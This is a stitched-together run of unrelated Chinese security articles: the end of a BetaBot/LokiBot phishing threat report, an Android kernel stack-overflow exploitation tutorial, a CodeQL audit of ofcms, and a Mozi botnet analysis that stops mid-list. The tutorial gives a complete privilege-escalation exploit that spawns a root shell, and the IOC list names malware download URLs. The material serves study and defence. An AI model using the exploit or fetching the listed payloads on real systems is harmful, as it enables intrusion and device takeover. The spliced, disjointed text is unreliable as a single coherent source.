而在翻看目录时，发现该攻击者还制造了物流页面，猜测为攻击者在发放钓鱼邮件中，将链接指向了该目录，在收集受害者IP地址等信息的同时，欺骗受害者认为其有从中国过来的包裹（或者包裹已经到达目的地）。
图7.18 攻击者制造的物流页面
## 受害者分析
为了对银钩团伙的攻击目标进一步分析，因此我们对全国范围内的受害者进行地域分析后，显示受害者分布（如下图，红为高，黄为中，绿表示暂未发现感染）均地处东部沿海地区省市，且均以经商贸易而闻名四海，因此可以确认攻击者目标确为经商地区。
图8.1 受害者分布区域
## 总结
无论是BetaBot还是Lokibot，都是一种非常常见并且制造工具已经曝光的银行木马，但偏偏是这么常见的木马，却可以造成大面积的感染，主要取决于攻击者的攻击手段以及社会工程学的能力。
而本次披露的银钩团伙，从其在制造诱饵和更新木马loader的频率之快，可以看出团伙成员异常勤奋，为了逃避免杀和制造更新颖的攻击手法而下了大功夫。
而攻击者在频繁的更新并发起攻击的同时，奇安信威胁情报中心红雨滴安全研究团队也同样在更新木马防护规则，提升企业防护能力。
图9.1 奇安信威胁情报平台检测结果
图9.2 奇安信安全助手报警截图
并且，由于攻击者普遍的往一些做生意的人的邮箱投递鱼叉邮件，最后下发BetaBot银行木马来控制目标电脑，盗取钱财，因此，奇安信威胁情报中心再次提醒经商人员，小心来历不明的钓鱼邮件，切勿点击，勿轻信。
## IOCs
投递邮件：
9374d7fe2af67cb0ac37bb39285b945c
db346a742e166c827059733cf472fb1d
诱饵文档
6a8bd2554a4e06ee6cf6e77d6e7102c6
恶意网站
http://maxshippingline.nl/
C2：
kkrudy[.]com
http://imhafiz.info/iyk.exe
http://asia-kunsthandwea1-online.com/cs/femi.exe
http://empire-eyewear.com/bin/099.exe
http://empire-eyewear.com/logs/81.exe
http://krosnovunderground.se/smfbk.exe
http://shapemix.com/downloads/temp/john.exe
https://silversplash925.com/windows/uloti.hta
http://www.medicmanual.com/ecom/RFQ-ALP19-SMKB-93790.exe
http://ikoyiclub55[.]co.uk/cell/fre.php
文件Hash：
BetaBot家族
07894a83dca4076459c69be5e2e9be33
2642dff93a0c1fd22d15933c9663742e
326997eacb1768dd3b48a199c00ddeae
3c97c5e17f542cf365f9cb80668b402a
4ee007842cf66de2f254df340370f6e2
641b9bfc958f8dcb068fa6301e0773da
6ecfad824e6ca5e5467bc933ea6e59ac
76d8f8b244ac2c0b78f530ac8c6d518d
9b34f5f0199cf442c23776edefaf5f29
c26817c749eed18347d9278aca4685d3
f59ace76077efd55b8f780d640e42cd4
f984375f3aed4232f0dfecf7649c15c9
fa1ca26a88719781d1b6e2aa7846b58e
ff8d8ea014b6d8eb99c26114a583e7b8
LokiBot家族：
FA2BD7BB1323E25886677C861D1C1C80
32c2b4640ecc9b0407457499ae3d4e5f
## 参考资料
https://www.cybereason.com/blog/betabot-banking-trojan-neurevt | 社区文章 |
# 【技术分享】Android内核漏洞利用技术实战：环境搭建&栈溢出实战
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[for_while](http://bobao.360.cn/member/contribute?uid=2553709124)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
Android的内核采用的是 Linux 内核，所以在Android 内核中进行漏洞利用其实和在 一般的
x86平台下的linux内核中进行利用差不多。主要区别在于Android下使用的是arm汇编以及环境的搭建方面。本文对我最近的实践做一个分享，其实很简单。
**内核调试环境搭建**
搭建平台: ubuntu 16.04
这里使用android模拟器来进行内核调试。首先下载内核代码
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
然后下载github上的一个[安卓漏洞利用的项目](https://github.com/Fuzion24/AndroidKernelExploitationPlayground)，
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
然后使用项目中的[patch文件](https://raw.githubusercontent.com/Fuzion24/AndroidKernelExploitationPlayground/master/kernel_build/debug_symbols_and_challenges.patch)把
patch 内核编译配置，来把项目中的带漏洞的模块编译进linux内核
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch &&
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
这里注意： goldfish目录和 kernel_exploit_challenges目录要在同一目录下
然后下载 [arm-linux-androideabi-4.6交叉编译工具链](http://download.csdn.net/detail/qq_23119893/8709335)
。下载完成后把它解压后，然后把它加到环境变量中
tar xvf arm-linux-androideabi-4.6.tar.bz2
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
然后进入 goldfish目录，开始编译
make goldfish_armv7_defconfig && make -j8
编译完成后，就会有两个主要的文件：goldfish/vmlinux 和
goldfish/arch/arm/boot/zImage。前面那个用于在调试时gdb加载，后面的用于在安卓模拟器启动时加载。
下面下载 安卓sdk, 用来下载和运行 安卓模拟器。
sdk下载地址： <http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz>
然后把 sdk解压
tar xvf android-sdk_r24.4.1-linux.tgz
把 android-sdk-linux/tools 加入环境变量，把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目录改成你的目录>
export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
然后重新打开一个shell, 使用下面的命令 <要先下载jdk ,并且设置好环境变量>
android
然后把下面标注的两个下载下来
下载完后。首先查看下载的镜像文件
$android list targets
Available Android targets:
---------- id: 1 or "android-19"
Name: Android 4.4.2
Type: Platform
API level: 19
Revision: 4
Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in
然后创建 模拟器
android create avd --force -t "android-19" -n kernel_challenges
然后进入 goldfish 目录，使用下面的命令来使用我们的内核来运行模拟器，并在 1234 端口起一个 gdbserver 来方便进行 内核调试
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
第一次运行有类似的结果：
$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
WARNING: userdata image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 576716800
Block size: 4096
Blocks per group: 32768
Inodes per group: 7040
Inode size: 256
Journal blocks: 2200
Label:
Blocks: 140800
Block groups: 5
Reserved block group size: 39
Created filesystem with 11/35200 inodes and 4536/140800 blocks
WARNING: cache image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 69206016
Block size: 4096
Blocks per group: 32768
Inodes per group: 4224
Inode size: 256
Journal blocks: 1024
Label:
Blocks: 16896
Block groups: 1
Reserved block group size: 7
Created filesystem with 11/4224 inodes and 1302/16896 blocks
......................
......................
......................
为了便于后面的操作我们需要把 交叉编译工具链 添加到环境变量里。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目录改成你的目录>
export
PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
然后重新开个 shell, 进入到 goldfish 目录，加载 vmlinux 以便调试内核
arm-linux-androideabi-gdb vmlinux
如果一切正常，应该可以得到下面的类似输出
GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from <REDACTED>/goldfish/vmlinux...done.
(gdb)
然后连接 模拟器里面的 调试端口
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74movpc, lr
(gdb)
如果能看到这样的输出说明已经可以正常进行内核调试了。
**内核栈溢出漏洞利用**
首先看看漏洞代码，
kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspacen");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void)
{
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflown");
return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removedn");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
上述代码会创建/proc/stack_buffer_overflow 设备文件 ，当向该设备文件调用 write 系统调用时会调用
proc_entry_write 函数进行处理。漏洞显而易见，在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf，
然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf
,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据，比如返回地址等，进而劫持程序执行流到我们的 shellcode 中
进行提权。
首先我们来试试触发漏洞。先把模拟器打开，然后 adb shell 进入模拟器，使用 echo 命令向 /proc/stack_buffer_overflow
设备输入72字节的数据。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn
，所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单，内核态调用
commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行
execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell， 完成提权。下面先获取
prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms
文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中，为了使利用内核漏洞变得更加困难，linux内核目前禁止一般用户获取符号。具体可以看[这里](http://lwn.net/Articles/420403/)。
当启用 kptr_restrict 是我们不能获取内核符号地址的。
root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds
在本文中，把它禁用掉，不管他。
root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred
禁用掉之后，我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。
至此，提权的问题解决了，下面就是要回到用户态，在x86平台有 iret指令可以回到用户态，在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的
M[4：0] 位用来表示
处理器的运行模式，具体可以看[这个](http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html)。所以我们把
cpsr 寄存器的 M[4：0] 位设置为 10000后就表示 处理器进入了用户模式。
**所以现在的利用思路是：**
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器，使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell
**最后的 exp :**
****
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shelln");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
" .textn"
" .align 2n"
" .code 32n"
" .globl shellCodent"
"shellCode:nt"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34nt" //prepare_kernel_cred addr
"MOV R0, #0nt"
"BLX R3nt"
"LDR R3, =0xc0039834nt" //commit_creds addr
"BLX R3nt"
"mov r3, #0x40000010nt"
"MSR CPSR_c,R3nt"
"LDR R3, =0x879cnt" // payload function addr
"BLX R3nt"
);
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) )
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void * pc = buf + MAX + 1 * sizeof(void*);
printf("shellcdoe addr: %pn", shellCode);
printf("payload:%pn", payload);
*(void **)pc = (void *) shellCode; //ret addr
/* Kaboom! */
write(fd, buf, sizeof(buf) );
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
**参考链接**
<http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html>
[http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html](http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html)
[http://bobao.360.cn/learning/detail/3702.html](http://bobao.360.cn/learning/detail/3702.html)
<https://github.com/Fuzion24/AndroidKernelExploitationPlayground> | 社区文章 |
# 使用codeql 挖掘 ofcms
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
网上关于codeql的文章并不多，国内现在对codeql的研究相对比较少，可能是因为codeql暂时没有中文文档，资料也相对较少，需要比较好的英语功底，但是我认为在随着代码量越来越多，传统的自动化漏洞挖掘工具的瓶颈无法突破的情况下，codeql相当于是一种折中的办法，通过codeql的辅助，来减少漏洞挖掘人员的工作，更加关注漏洞的发现和利用过程
之所以选ofcms，是因为有p0desta师傅之前的审计经验，而且使用codeql审计cms尚属第一次，所以选用了ofcms审计
## ql构造
在ql中，漏洞挖掘是根据污点追踪进行的，所以我们需要知道我们的挖掘的cms的source点在哪里，sink点在哪里，相对来说，source点比较固定，一般就是http的请求参数，请求头这一类的
但是sink比较难以确定，由于现在的web应用经常使用框架，有些文件读取，html输出其实是背后的框架在做，所以这就导致了我们的sink定义不可能是一成不变的，要对整个web应用有一个大致的了解，才能定义对应的sink
### source点的ql
source点很清楚，对于一个web应用来说，http请求参数，http请求头，我们关注ofcms中对请求参数的获取方式：
ofcms使用了jfinal这个框架，而ofcms继承了jfinal的controller来获取参数，在整个ofcms中大体有三种类型来获取请求参数：
1. BaseController
2. Controller(Jfinal提供)
3. ApiBase
所以我们的source都是根据这几个类展开的，在观察这几个类之后很容易发现，所有的获取http参数的方法都是getXXX()这样的命名方式，所以我们可以这样定义source的ql语法：
class OfCmsSource extends MethodAccess{
OfCmsSource(){
(this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.admin.controller", "BaseController") and
(this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("com.jfinal.core", "Controller") and
(this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("javax.servlet.http", "HttpServletRequest") and (this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.api", "ApiBase") and
(this.getMethod().getName().substring(0, 3) = "get"))
}
}
到这一步，我们的source就算定义完了，接下来就是定义对应的sink了
### sink点的ql
相对于source的固定，sink就很不固定了，常见的web漏洞一般来说都可以作为sink，而且因为框架的不同，同一种漏洞在不同框架下的ql都是不一样的，所以我们需要略微分析一下整个web应用在做文件读取，模版渲染等操作的时候一般都用的是什么方法
#### 模版渲染的问题
Jfinal中对模版渲染有一系列的render方法：
可以看到，所有都是render开头，所以我们对方法名的判断很简单，截取前面6个字符，判断是否为render，随便找一个项目使用render的地方，可以发现render其实是在com.jfinal.core.Controller里面定义的方法，所以现在我们唯一确定了模版渲染的方法，所以我们的sink也就呼之欲出了，也就是这些render方法的参数，所以构造ql：
class RenderMethod extends MethodAccess{
RenderMethod(){
(this.getMethod().getDeclaringType*().hasQualifiedName("com.jfinal.core", "Controller") and
this.getMethod().getName().substring(0, 6) = "render") or (this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.core.plugin.freemarker", "TempleteUtile") and this.getMethod().hasName("process"))
}
}
在上面的ql中我添加了TempleteUtile这个类，因为这个类的process第一个参数可控的话也会造成模版的问题，所以我们可以随时去到ql中添加我们认为可能出现问题的模版渲染方法
#### 文件类的问题
在ofcms中，文件的创建一般都是new File()这种形式创建的，所以我们的sink点应该为new File的参数为我们的sink点，所以构造ql：
class FileContruct extends ClassInstanceExpr{
FileContruct(){
this.getConstructor().getDeclaringType*().hasQualifiedName("java.io", "File")
}
}
### 污点追踪
codeql提供了几种数据流的查询：
1. local data flow
2. local taint data flow
3. global data flow
4. global taint data flow
local data flow基本是用在一个方法中的，比如想要知道一个方法的入参是否可以进入到某一个方法，就可以用local data flow
global data flow是用在整个项目的，也是我们做污点追踪用的最多的
简单解释一下taint和非taint有什么区别：taint的dataflow会在数据流分析的基础上加上污点分析，比如
String a = "evil";
String b = a + a;
在使用taint的dataflow中，b也会被标记为被污染的变量
#### 构造configure
class OfCmsTaint extends TaintTracking::Configuration{
OfCmsTaint(){
this = "OfCmsTaint"
}
override predicate isSource(DataFlow::Node source){
source.asExpr() instanceof OfCmsSource
}
override predicate isSink(DataFlow::Node sink){
exists(
FileContruct rawOutput |
sink.asExpr() = rawOutput.getAnArgument()
)
}
}
当我们需要去做污点分析的时候，我们需要继承TaintTracking::Configuration这个类，来重写两个方法isSource和isSink，在这里，dataflow中的Node节点和我们直接使用的节点是不一样的，我们需要使用asExpr或者asParamter来将其转换为语法节点
这里可以看到，我们的source为我们之前定义的http参数的输入地方，sink为我们之前定义的new File的这种实例化
## 结果分析
codeql只能给出从source到sink的一条路径，但是这条路径中的一些过滤和条件是无法被判断的，这也就需要一部分的人工成本，让我们来运行一下我们刚刚写的ql：
import ofcms
from DataFlow::Node source, DataFlow::Node sink, OfCmsTaint config
where config.hasFlow(source, sink)
select source, sink
最后的查询结果：
可以看到找到了11个可能存在问题的地方，我们来依次看一看是否有问题：
### ReprotAction
第一个在ReprotAction这个类的expReport方法中：
可以很明显看到，在获取j参数之后，对jrxmlFileName没有任何的校验，导致我们可以穿越到其他目录，但是文件后缀名必须为jrxml，而且在JasperCompileManager的compileReport函数中，对xml文档没有限制实体，导致可以造成XXE漏洞，这里很尴尬的利用点是：
1. 需要一个文件上传
2. 后缀名必须为jrxml
### TemplateController
在TemplateController这个类的getTemplates方法中：
在这里对获取的参数没有任何的校验，导致可以跨越目录列文件并且修改文件，但是在后面的实现中，我们只能修改和查看特定的文件
假设我们在tmp目录下有着a.html和a.xml文件，我们可以跨越到tmp目录下读取并修改这两个文件
### TemplateController
还有一个地方就是save函数，这个函数在p0desta师傅的博客中也挖掘出了任意文件上传漏洞：
很明显的一任意文件上传，文件名，路径，文件内容全部可控，直接getshell
剩下的一个并不能造成影响，就不多说了
## 后记
在render的sink定义中，如果运行可以发现很多地方的前台的一个小问题，也就是我们可以指定模版文件，ofcms使用了freemarker模版引擎，如果可以包含到我们自定义的模版文件，即可导致RCE，但是并没有发现有一个文件上传的点可以上传文件到模版目录下（除了上面的一个任意文件上传），所以不太好前台RCE
顺手测了下发现前台评论地方有存储XSS，但是和codeql无关就不多说了
整个ql：
ofcms.qll
import java
import semmle.code.java.dataflow.TaintTracking
class OfCmsSource extends MethodAccess{
OfCmsSource(){
(this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.admin.controller", "BaseController") and
(this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("com.jfinal.core", "Controller") and
(this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("javax.servlet.http", "HttpServletRequest") and (this.getMethod().getName().substring(0, 3) = "get"))
or
(this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.api", "ApiBase") and
(this.getMethod().getName().substring(0, 3) = "get"))
}
}
class RenderMethod extends MethodAccess{
RenderMethod(){
(this.getMethod().getDeclaringType*().hasQualifiedName("com.jfinal.core", "Controller") and
this.getMethod().getName().substring(0, 6) = "render") or (this.getMethod().getDeclaringType*().hasQualifiedName("com.ofsoft.cms.core.plugin.freemarker", "TempleteUtile") and this.getMethod().hasName("process"))
}
}
class SqlMethod extends MethodAccess{
SqlMethod(){
this.getMethod().getDeclaringType*().hasQualifiedName("com.jfinal.plugin.activerecord", "Db")
}
}
class FileContruct extends ClassInstanceExpr{
FileContruct(){
this.getConstructor().getDeclaringType*().hasQualifiedName("java.io", "File")
}
}
class ServletOutput extends MethodAccess{
ServletOutput(){
this.getMethod().getDeclaringType*().hasQualifiedName("java.io", "PrintWriter")
}
}
class OfCmsTaint extends TaintTracking::Configuration{
OfCmsTaint(){
this = "OfCmsTaint"
}
override predicate isSource(DataFlow::Node source){
source.asExpr() instanceof OfCmsSource
}
override predicate isSink(DataFlow::Node sink){
exists(
FileContruct rawOutput |
sink.asExpr() = rawOutput.getAnArgument()
)
}
}
test.ql
import ofcms
from DataFlow::Node source, DataFlow::Node sink, OfCmsTaint config
where config.hasFlow(source, sink)
select source, sink
## 不足
1. 感觉一个很大的问题是sink的定义，因为框架的变换以及一些开发者自己的工具类，以及一些漏洞可能根本不存在，导致sink的定义有时候挖不出来漏洞
2. 像p0desta师傅测的CSRF漏洞，暂时想不到有什么好的办法来定义sink，人工可能很好去看出来，但是不好用codeql语言定义这种漏洞
3. 太菜了，有个点的任意文件读取写不出来ql，2333
师傅们教教我
4. 感觉在定义的时候要尽量找共性，但是也不能找太深
参考文章：
<http://p0desta.com/2019/04/20/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8Bjava%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97(%E5%9B%9B)/>
<https://help.semmle.com/QL/learn-ql/java/ql-for-java.html> | 社区文章 |
# P2P Botnet：Ｍozi分析报告
##### 译文声明
本文是翻译文章，文章原作者 360netlab，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/p2p-botnet-mozi/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概览
2019年09月03日我们捕获到一个可疑的的样本文件，大部分杀毒引擎将其识别为Gafgyt，但该样本和已知Gafgyt相似程度不高，只是复用了部分Gafgyt的代码。经过详细分析，我们确定这是Hajime之后，另一个基于DHT协议实现的P2P
Botnet。根据其样本传播样本文件名称为Mozi.m、Mozi.a等特征我们将它命名为Mozi Botnet。
Mozi
Botnet依赖DHT协议建立一个P2P网络，通过ECDSA384以及xor算法保证自身组件和P2P网络的完整性和安全性。样本通过Telnet弱口令和一些已知的漏洞利用蠕虫式传播。功能方面，Ｍozi僵尸网络中的各个节点的指令执行由Botnet
Master下发的名为Config的Payload驱动，主要指令包括：
* DDoS攻击
* 收集Bot信息
* 执行指定URL的payload
* 从指定的URL更新样本
* 执行系统或自定义命令
其整体网络结构如下图所示：
## 样本传播
Ｍozi通过telnet弱口令和漏洞利用两种方式感染新设备。感染过程如下：
* 当前Bot节点随机监听本地端口启动http服务提供样本下载或者接收Botnet Master下发的Config文件中的样本下载地址。用于为将来被感染的目标提供样本下载地址。
* 当前Bot节点利用弱口令登录目标设备，echo方式写入下载器文件并运行，从当前Bot节点提供的样本下载地址下载样本文件。或者通过漏洞利用入侵目标，然后从当前Bot节点提供的样本下载地址取得样本文件。
* 在被感染目标设备上运行Mozi Bot样本，加入Mozi P2P网络成为新的Mozi Bot节点并继续感染其他新的设备。
Mozi Botnet所利用的漏洞如下表所示：
VULNERABILITY | AFFECTED AEVICE
---|---
[Eir D1000 Wireless Router RCI](https://www.exploit-db.com/exploits/40740) |
Eir D1000 Router
[Vacron NVR RCE](https://www.exploit-db.com/exploits/6864/) | Vacron NVR
devices
[CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Devices using
the Realtek SDK
[Netgear cig-bin Command Injection](https://www.exploit-db.com/exploits/41598/) | Netgear R7000 and R6400
[Netgear setup.cgi unauthenticated RCE](https://www.exploit-db.com/exploits/43055) | DGN1000 Netgear routers
[JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR
[CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei Router
HG532
[HNAP SoapAction-Header Command Execution](https://www.exploit-db.com/exploits/37171/) | D-Link Devices
[CVE-2018-10561, CVE-2018-10562](https://www.exploit-db.com/exploits/44576/) |
GPON Routers
[UPnP SOAP TelnetD Command Execution](https://www.exploit-db.com/exploits/28333/) | D-Link Devices
[CCTV/DVR Remote Code Execution](https://www.exploit-db.com/exploits/39596/) |
CCTV DVR
当前我们暂时还不清楚该Botnet的规模，但从我们已经有的数据看，该Botnet的感染量一直在持续增长。下图为我们蜜罐收集到的Mozi bot感染日志。
## 样本逆向分析
目前，Mozi Botnet已有３个版本，在telnet传播方面略有不同，其它方面非常接近，
下文将以最新版本v2为主，同时也会穿插早期版本(样本md5:
849b165f28ae8b1cebe0c7430f44aff3)，从传播方式，Config结构，DHT网络等方面剖析Mozi的技术细节。
### 样本信息
> MD5:eda730498b3d0a97066807a2d98909f3
>
> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
>
> Packer: NO
>
> Library:uclibc
>
> Version: v2
值得一提的是，第一个版本中Mozi
采用了upx加壳。相较与常见的更改upx幻数对抗脱壳，Ｍozi使用了一种新颖的手法，将p_filesize&p_blocksize的值抹成了０。需要对upx源码做相应的patch才能脱壳。
### 常见功能
Ｍozi在主机行为层面并没太多特色，复用了Gafgyt的代码，实现了许多常见功能，如单一实例，修改进程名，网络流量放行。
* 单一实例，通过绑定本地端口实现
* 修改进程名，换成sshd或dropbear以迷惑受害者
* 流量阻断&放行，确保所用到的TCP,UDP端口，流量正常通过；
阻断SSH，TELNET服务，防止Bot被其他人入侵。
### 执行特定任务
Mozi通过DHT协议建立p2p网络后，同步config文件，根据config文件里的指令，开始相应的任务。在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Mozi节点。为保证Mozi网络的完全可控，不被他人窃取，Mozi需要对每一个同步到的config做签名验签，只有能够通过了签名验签才能被Mozi节点接受，并执行。
#### 文件&指令验签
Ｍozi使用ECDSA384算法验证文件及指令的合法性，每个样本都集成了俩个xor加密的的公钥，分别用于验签加密和解密后的config文件。
xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------ xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
------------------------------------------------------------------- xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
#### Config文件
每个样本集成了一个xor加密的初始的config文件，长度为528字节,其结构为data(428 bytes),sign(96 bytes),flag(4
bytes)，sign字段为数字签名，flag字段控制config文件更新与否。config文件里有许多控制字段，Mozi节点收到config后，解析字段内容，执行相应的子任务。
原始config文件如下
解密过程如下图所示，其中xor key为
4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
解密后的config如下
支持的关键字如下，可以分成辅助，控制，子任务３大类。
1：辅助字段，用于信息说明
[cpu] cpu arch or os
[cpux] cpu arch or os
[ss] bot role
[ssx] bot role
[nd] new node info which help to join DHT
2:控制字段，用于更新节点的数据
[ver] verify
[sv] update Config
[hp] DHT id prefix
[dip] URL or ip:port list which can get Mozi sample
3:子任务字段，用于开启相应的子任务
[atk] DDOS attack
[ud] update
[dr] exec payload from specific URL
[rn] exec system or customized cmds
[idp] report bot info
#### Bot功能
* DDOS，[atk]字段触发，复用Gafgyt了攻击代码，支持HTTP,TCP,UDP等攻击。
Command
----------------------------------------- S
T
U
KT
HTTP
* 上报Bot信息，[idp]字段触发，上报的内容为Bot的ID，IP，PORT，文件名（全路径），网关，cpu架构。
* 执行指定URL的payload,[dr]字段触发。
* 从指定的URL更新，[ud]字段触发。关闭当前节点的网络连接和相关进程，从指定URL下载新版本，保存DHT节点,ID等数据，将它们做为参数提供给新版体使用。
* 执行系统或Bot自定义命令，[rn]字段触发。
* 系统命令
* 自定义GET命令，将Bot ID发送给对端。
* 自定义run命令，执行对端下发的命令，并将结果回传。
### DHT
Ｍozi
Botnet使用自己扩展的DHT协议构建p2p网络，这样做有俩个好处，一来使用标准的DHT能够快速组网，二来使用自己的扩展能够将有效payload的流量隐匿于海量的正常DHT流量中，躲避检测。Mozi使用8组公共节点以及Config文件的[nd]字段指定的节点作为bootstrap
nodes。引导新节点加入其DHT网络。
* 公共节点，样本内嵌
dht.transmissionbt.com:6881
